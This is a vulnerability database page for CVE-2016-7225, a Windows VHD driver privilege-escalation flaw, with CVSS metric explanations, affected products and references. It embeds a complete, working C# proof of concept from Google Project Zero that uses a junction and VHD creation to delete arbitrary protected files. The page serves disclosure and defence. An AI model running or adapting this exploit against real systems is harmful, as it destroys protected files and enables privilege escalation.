CVE-2016-7225 : Detail

CVE-2016-7225

6.1
/
Medium
A01-Broken Access Control
0.05%V3
Local
2016-11-10
05h16 +00:00
2018-10-12
17h57 +00:00
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CVE Descriptions

Virtual Hard Disk Driver in Windows 10 Gold, 1511, and 1607 and Windows Server 2016 does not properly restrict access to files, which allows local users to gain privileges via a crafted application, aka "VHD Driver Elevation of Privilege Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-284 Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 6.1 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 3.6 AV:L/AC:L/Au:N/C:P/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 40764

Publication date : 2016-11-14 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=915 Windows: VHDMP ZwDeleteFile Arbitrary File Deletion EoP Platform: Windows 10 10586 and 14393. No idea about 7 or 8.1 versions. Class: Elevation of Privilege Summary: The VHDMP driver doesn’t safely delete files leading to arbitrary file deletion which could result in EoP. Description: The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. There are numerous places where the driver calls ZwDeleteFile without specifying OBJ_FORCE_ACCESS_CHECK. This can be abused to delete any arbitrary file or directory on the filesystem by abusing symbolic links to redirect the delete file name to an arbitrary location. Also due to the behaviour of ZwDeleteFile we also don’t need to play games with the DosDevices directory or anything like that, the system call opens the target file without specifying FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE flags, this means it’s possible to use a mount point even to redirect to a file due to the way reparsing works in the kernel. Some places where ZwDeleteFile is called (based on 10586 x64 vhdmp.sys) are: VhdmpiDeleteRctFiles VhdmpiCleanupFileWrapper VhdmpiInitializeVhdSetExtract VhdmpiCtCreateEnableTrackingRequest VhdmpiMultiStageSwitchLogFile VhdmpiApplySnapshot And much much more. You get the idea, as far as I can tell none of these calls actually pass OBJ_FORCE_ACCESS_CHECK flag so all would be vulnerable (assuming you can specify the filename suitably). Note this doesn’t need admin rights as we never mount the VHD. However you can’t use it in a sandbox as opening the drive goes through multiple access checks. While deleting files/directories might not seem to be too important you can use it to delete files in ProgramData or Windows\Temp which normally are OWNER RIGHTS locked to the creator. This could then be recreated by the user due to default DACLs and abuse functionality of other services/applications. Proof of Concept: I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. It will delete an arbitrary file specified on the command line. It abuses the fact that during VHD creation the kernel will delete the .rct/.mrt files (this limits the poc to Win10 only). So we drop a test.vhd.rct mount point pointing at the target into the same directory and call create. 1) Compile the C# source code file. 2) Execute the poc on Win 10 passing the path to the file to delete. It will check that the file is present and can’t be deleted. 3) It should print that it successfully deleted the file Expected Result: The target file isn’t deleted, the VHD creation fails. Observed Result: The target file is deleted. */ using Microsoft.Win32.SafeHandles; using System; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; namespace DfscTest { class Program { enum StorageDeviceType { Unknown = 0, Iso = 1, Vhd = 2, Vhdx = 3, VhdSet = 4, } [StructLayout(LayoutKind.Sequential)] struct VirtualStorageType { public StorageDeviceType DeviceId; public Guid VendorId; } enum OpenVirtualDiskFlag { None = 0, NoParents = 1, BlankFile = 2, BootDrive = 4, CachedIo = 8, DiffChain = 0x10, ParentcachedIo = 0x20, VhdSetFileOnly = 0x40, } enum CreateVirtualDiskVersion { Unspecified = 0, Version1 = 1, Version2 = 2, Version3 = 3, } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] struct CreateVirtualDiskParameters { public CreateVirtualDiskVersion Version; public Guid UniqueId; public ulong MaximumSize; public uint BlockSizeInBytes; public uint SectorSizeInBytes; public uint PhysicalSectorSizeInBytes; [MarshalAs(UnmanagedType.LPWStr)] public string ParentPath; [MarshalAs(UnmanagedType.LPWStr)] public string SourcePath; // Version 2 on public OpenVirtualDiskFlag OpenFlags; public VirtualStorageType ParentVirtualStorageType; public VirtualStorageType SourceVirtualStorageType; public Guid ResiliencyGuid; // Version 3 on [MarshalAs(UnmanagedType.LPWStr)] public string SourceLimitPath; public VirtualStorageType BackingStorageType; } enum VirtualDiskAccessMask { None = 0, AttachRo = 0x00010000, AttachRw = 0x00020000, Detach = 0x00040000, GetInfo = 0x00080000, Create = 0x00100000, MetaOps = 0x00200000, Read = 0x000d0000, All = 0x003f0000 } enum CreateVirtualDiskFlag { None = 0x0, FullPhysicalAllocation = 0x1, PreventWritesToSourceDisk = 0x2, DoNotcopyMetadataFromParent = 0x4, CreateBackingStorage = 0x8, UseChangeTrackingSourceLimit = 0x10, PreserveParentChangeTrackingState = 0x20, } [DllImport("virtdisk.dll", CharSet=CharSet.Unicode)] static extern int CreateVirtualDisk( [In] ref VirtualStorageType VirtualStorageType, string Path, VirtualDiskAccessMask VirtualDiskAccessMask, [In] byte[] SecurityDescriptor, CreateVirtualDiskFlag Flags, uint ProviderSpecificFlags, [In] ref CreateVirtualDiskParameters Parameters, IntPtr Overlapped, out IntPtr Handle ); static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505"); static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B"); static SafeFileHandle CreateVHD(string path) { VirtualStorageType vhd_type = new VirtualStorageType(); vhd_type.DeviceId = StorageDeviceType.Vhd; vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT; CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters(); ps.Version = CreateVirtualDiskVersion.Version1; ps.SectorSizeInBytes = 512; ps.MaximumSize = 100 * 1024 * 1024; IntPtr hDisk; int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk); if (error != 0) { throw new Win32Exception(error); } return new SafeFileHandle(hDisk, true); } static void Main(string[] args) { try { if (args.Length < 1) { Console.WriteLine(@"[USAGE]: poc file\to\delete"); Environment.Exit(1); } string delete_path = Path.GetFullPath(args[0]); if (!File.Exists(delete_path)) { Console.WriteLine("[ERROR]: Specify a valid file to delete"); Environment.Exit(1); } try { File.Delete(delete_path); Console.WriteLine("[ERROR]: Could already delete file, choose one which you normally can't delete"); Environment.Exit(1); } catch { } string vhd_path = Path.GetFullPath("test.vhd"); File.Delete(vhd_path); try { Directory.Delete(vhd_path + ".rct"); } catch { } Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path); string cmdline = String.Format("/C mklink /J \"{0}.rct\" \"{1}\"", vhd_path, args[0]); ProcessStartInfo start_info = new ProcessStartInfo("cmd", cmdline); start_info.UseShellExecute = false; Process p = Process.Start(start_info); p.WaitForExit(); if (p.ExitCode != 0) { Console.WriteLine("[ERROR]: Can't create symlink"); Environment.Exit(1); } using (SafeFileHandle handle = CreateVHD(vhd_path)) { } if (File.Exists(delete_path)) { Console.WriteLine("[ERROR]: Didn't delete arbitrary file"); } else { Console.WriteLine("[SUCCESS]: Deleted arbitary file"); } } catch (Exception ex) { Console.WriteLine("[ERROR]: {0}", ex.Message); } } } }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_server_2016 >> Version -

References

http://www.securitytracker.com/id/1037248
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/94016
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/40764/
Tags : exploit, x_refsource_EXPLOIT-DB